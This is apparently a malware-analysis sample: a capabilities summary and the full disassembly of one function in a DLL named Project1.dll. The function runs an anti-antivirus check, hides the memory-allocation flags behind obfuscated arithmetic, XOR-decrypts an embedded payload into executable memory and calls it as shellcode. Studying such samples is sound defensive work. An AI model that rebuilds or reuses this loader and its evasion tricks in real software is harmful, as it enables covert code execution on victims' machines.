Function at 0x6ab03ab9
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Terminate process

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0xbe0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0xb80], rcx
mov dword [rbp + 0xb88], edx
mov qword [rbp + 0xb90], r8
mov eax, dword [rbp + 0xb88]
cmp eax, 1
je 0x6ab03b01
cmp eax, 1
jb 0x6ab04051
cmp eax, 3
ja 0x6ab04052
jmp 0x6ab04051
mov edx, 0
mov ecx, 0
call sym.Project1.dll_AntiAV_int__int_
cmp eax, 0x3e7
sete al
test al, al
je 0x6ab04043
lea rcx, section..rdata
call sym.atoi
mov dword [sym.Project1.dll_q1], eax
mov dword [sym.Project1.dll_q2], 0
mov eax, dword [sym.Project1.dll_q1]
mov dword [sym.Project1.dll_q3], eax
mov eax, dword [sym.Project1.dll_q1]
mov dword [sym.Project1.dll_q4], eax
mov eax, dword [sym.Project1.dll_q1]
mov dword [sym.Project1.dll_q5], eax
mov eax, dword [sym.Project1.dll_q1]
mov dword [sym.Project1.dll_q6], eax
mov eax, dword [sym.Project1.dll_q1]
mov dword [sym.Project1.dll_mem_s], eax
mov qword [rbp + 0xb58], 0x29
lea rdx, [rbp + 0x10]
lea rax, [0x6ab1c080]
mov ecx, 0x166
mov rdi, rdx
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
mov rax, rsi
mov rdx, rdi
mov ecx, dword [rax]
mov dword [rdx], ecx
lea rdx, [rdx + 4]
lea rax, [rax + 4]
movzx ecx, byte [rax]
mov byte [rdx], cl
lea rdx, [rdx + 1]
lea rax, [rax + 1]
movabs rax, 0x63283369316c3c50
mov qword [rbp - 0x40], rax
movabs rax, 0x73507a45466a3370
mov qword [rbp - 0x38], rax
movabs rax, 0x3976613c42796c6a
mov qword [rbp - 0x30], rax
movabs rax, 0x336c31475735422b
mov qword [rbp - 0x28], rax
movabs rax, 0x344635463e244d62
mov qword [rbp - 0x20], rax
movabs rax, 0x4d754f6d65704962
mov qword [rbp - 0x18], rax
movabs rax, 0x57715e58375f374a
mov qword [rbp - 0x10], rax
movabs rax, 0x73437166446e4763
mov qword [rbp - 8], rax
mov word [rbp], 0x47
mov dword [rbp + 0xb54], 0xb35
mov eax, dword [sym.Project1.dll_q2]
lea edx, [rax + 0x40]
mov eax, dword [sym.Project1.dll_q1]
lea ecx, [rdx + rax]
mov edx, dword [sym.Project1.dll_q2]
mov eax, dword [sym.Project1.dll_q2]
imul eax, edx
sub ecx, eax
mov edx, dword [sym.Project1.dll_q2]
mov eax, dword [sym.Project1.dll_q4]
imul edx, eax
mov eax, dword [sym.Project1.dll_q5]
imul edx, eax
mov eax, dword [sym.Project1.dll_q1]
imul edx, eax
mov eax, dword [sym.Project1.dll_q4]
imul eax, edx
sub ecx, eax
mov edx, dword [sym.Project1.dll_q6]
mov eax, dword [sym.Project1.dll_q6]
imul eax, edx
sub ecx, eax
mov edx, ecx
mov eax, dword [sym.Project1.dll_q5]
add edx, eax
mov eax, dword [sym.Project1.dll_q3]
sub edx, eax
mov eax, dword [sym.Project1.dll_q5]
mov ecx, edx
sub ecx, eax
mov edx, dword [sym.Project1.dll_q2]
mov eax, dword [sym.Project1.dll_q3]
imul eax, edx
sub ecx, eax
mov edx, ecx
mov eax, dword [sym.Project1.dll_q2]
mov ecx, edx
sub ecx, eax
mov edx, dword [sym.Project1.dll_q1]
mov eax, dword [sym.Project1.dll_q3]
imul eax, edx
lea edx, [rcx + rax]
mov eax, dword [sym.Project1.dll_q2]
sub edx, eax
mov eax, dword [sym.Project1.dll_q6]
sub edx, eax
mov eax, dword [sym.Project1.dll_q4]
sub edx, eax
mov eax, dword [sym.Project1.dll_q2]
add edx, eax
mov eax, dword [sym.Project1.dll_q1]
lea ecx, [rdx + rax]
mov edx, dword [sym.Project1.dll_q2]
mov eax, dword [sym.Project1.dll_q2]
imul eax, edx
sub ecx, eax
mov edx, dword [sym.Project1.dll_q2]
mov eax, dword [sym.Project1.dll_q4]
imul edx, eax
mov eax, dword [sym.Project1.dll_q5]
imul edx, eax
mov eax, dword [sym.Project1.dll_q1]
imul edx, eax
mov eax, dword [sym.Project1.dll_q4]
imul eax, edx
sub ecx, eax
mov edx, dword [sym.Project1.dll_q6]
mov eax, dword [sym.Project1.dll_q6]
imul eax, edx
sub ecx, eax
mov edx, ecx
mov eax, dword [sym.Project1.dll_q5]
add edx, eax
mov eax, dword [sym.Project1.dll_q3]
sub edx, eax
mov eax, dword [sym.Project1.dll_q5]
mov ecx, edx
sub ecx, eax
mov edx, dword [sym.Project1.dll_q2]
mov eax, dword [sym.Project1.dll_q3]
imul eax, edx
sub ecx, eax
mov edx, ecx
mov eax, dword [sym.Project1.dll_q2]
mov ecx, edx
sub ecx, eax
mov edx, dword [sym.Project1.dll_q1]
mov eax, dword [sym.Project1.dll_q3]
imul eax, edx
lea edx, [rcx + rax]
mov eax, dword [sym.Project1.dll_q2]
sub edx, eax
mov eax, dword [sym.Project1.dll_q6]
sub edx, eax
mov eax, dword [sym.Project1.dll_q4]
sub edx, eax
mov eax, dword [sym.Project1.dll_q2]
add edx, eax
mov eax, dword [sym.Project1.dll_q1]
lea ecx, [rdx + rax]
mov edx, dword [sym.Project1.dll_q2]
mov eax, dword [sym.Project1.dll_q2]
imul eax, edx
sub ecx, eax
mov edx, dword [sym.Project1.dll_q2]
mov eax, dword [sym.Project1.dll_q4]
imul edx, eax
mov eax, dword [sym.Project1.dll_q5]
imul edx, eax
mov eax, dword [sym.Project1.dll_q1]
imul edx, eax
mov eax, dword [sym.Project1.dll_q4]
imul eax, edx
sub ecx, eax
mov edx, dword [sym.Project1.dll_q6]
mov eax, dword [sym.Project1.dll_q6]
imul eax, edx
sub ecx, eax
mov edx, ecx
mov eax, dword [sym.Project1.dll_q5]
add edx, eax
mov eax, dword [sym.Project1.dll_q3]
sub edx, eax
mov eax, dword [sym.Project1.dll_q5]
mov ecx, edx
sub ecx, eax
mov edx, dword [sym.Project1.dll_q2]
mov eax, dword [sym.Project1.dll_q3]
imul eax, edx
sub ecx, eax
mov edx, ecx
mov eax, dword [sym.Project1.dll_q2]
mov ecx, edx
sub ecx, eax
mov edx, dword [sym.Project1.dll_q1]
mov eax, dword [sym.Project1.dll_q3]
imul eax, edx
lea edx, [rcx + rax]
mov eax, dword [sym.Project1.dll_q2]
sub edx, eax
mov eax, dword [sym.Project1.dll_q6]
sub edx, eax
mov eax, dword [sym.Project1.dll_q4]
sub edx, eax
mov eax, edx
mov r9d, eax
mov edx, dword [sym.Project1.dll_q2]
mov eax, dword [sym.Project1.dll_q3]
imul eax, edx
neg eax
mov ecx, eax
mov edx, dword [sym.Project1.dll_q2]
mov eax, dword [sym.Project1.dll_q3]
imul eax, edx
sub ecx, eax
mov eax, ecx
lea ecx, [rax + 0x1000]
mov edx, dword [sym.Project1.dll_q2]
mov eax, dword [sym.Project1.dll_q3]
imul eax, edx
sub ecx, eax
mov edx, dword [sym.Project1.dll_q2]
mov eax, dword [sym.Project1.dll_q4]
imul eax, edx
mov edx, 0x2000
sub edx, eax
mov r8d, edx
mov edx, dword [sym.Project1.dll_q6]
mov eax, dword [sym.Project1.dll_q5]
imul eax, edx
lea edx, [r8 + rax]
mov eax, dword [sym.Project1.dll_q5]
add edx, eax
mov eax, dword [sym.Project1.dll_q3]
lea r8d, [rdx + rax]
mov edx, dword [sym.Project1.dll_q2]
mov eax, dword [sym.Project1.dll_q2]
imul eax, edx
mov edx, r8d
sub edx, eax
mov eax, dword [sym.Project1.dll_q5]
sub edx, eax
mov r8d, edx
mov edx, dword [sym.Project1.dll_q6]
mov eax, dword [sym.Project1.dll_q4]
imul eax, edx
mov edx, r8d
sub edx, eax
mov eax, dword [sym.Project1.dll_q6]
sub edx, eax
mov r8d, edx
mov edx, dword [sym.Project1.dll_q3]
mov eax, dword [sym.Project1.dll_q6]
imul edx, eax
mov eax, dword [sym.Project1.dll_q2]
imul eax, edx
sub r8d, eax
mov edx, dword [sym.Project1.dll_q6]
mov eax, dword [sym.Project1.dll_q4]
imul eax, edx
lea edx, [r8 + rax]
mov eax, dword [sym.Project1.dll_q4]
add edx, eax
mov eax, dword [sym.Project1.dll_q6]
add edx, eax
mov eax, dword [sym.Project1.dll_q6]
sub edx, eax
mov eax, dword [sym.Project1.dll_q1]
add edx, eax
mov eax, dword [sym.Project1.dll_q4]
sub edx, eax
mov eax, dword [sym.Project1.dll_q2]
sub edx, eax
mov eax, dword [sym.Project1.dll_q6]
add eax, edx
or eax, ecx
mov edx, eax
mov eax, dword [rbp + 0xb54]
cdqe
mov r8d, edx
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0xb48], rax
mov eax, dword [rbp + 0xb54]
movsxd rdx, eax
mov r8, qword [rbp + 0xb48]
lea rax, [rbp + 0x10]
mov dword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0x42
lea rcx, [rbp - 0x40]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rdx
mov r9, r8
mov r8d, 0
mov rdx, rax
mov ecx, 0
call sym.Project1.dll_DecryptXOR_int__unsigned_char__int__unsigned_char__unsigned_long_long__unsigned_char__unsigned_long_long__int_
mov rax, qword [rbp + 0xb48]
mov rcx, qword [rbp + 0xb58]
lea rdx, [rbp - 0x40]
mov r9, rcx
mov r8d, 0x42
mov rcx, qword [rbp + 0xb80]
call rax
mov qword [sym.Project1.dll_adress_payload], rax
jmp 0x6ab04051
mov ecx, 0xfffffffa
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
nop
mov eax, 1
add rsp, 0xbe0
pop rsi
pop rdi
pop rbp
ret